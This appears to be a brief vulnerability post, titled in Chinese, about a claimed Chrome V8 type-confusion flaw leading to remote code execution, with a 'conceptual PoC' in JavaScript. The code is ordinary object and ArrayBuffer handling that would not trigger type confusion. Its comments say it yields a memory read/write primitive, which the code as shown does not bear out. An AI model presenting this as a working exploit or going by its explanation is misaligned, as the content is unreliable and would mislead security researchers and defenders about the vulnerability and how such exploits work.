CVE-2026-7337 Chrome V8类型混淆致RCE漏洞

// Conceptual PoC for V8 Type Confusion Vulnerability function trigger_confusion() { // Step 1: Create an object with a specific property map let obj = { x: 1, y: 2 }; // Step 2: Force V8 to optimize the function assuming obj is a specific type for (let i = 0; i < 10000; i++) { obj.x; } // Step 3: Change the object structure (e.g., change element type) // This might corrupt the internal type information if not handled correctly obj.y = new ArrayBuffer(0x100); // Step 4: Access the property to trigger the confusion // The engine might treat the ArrayBuffer as a standard object, leading to R/W primitive return obj.x; } trigger_confusion();
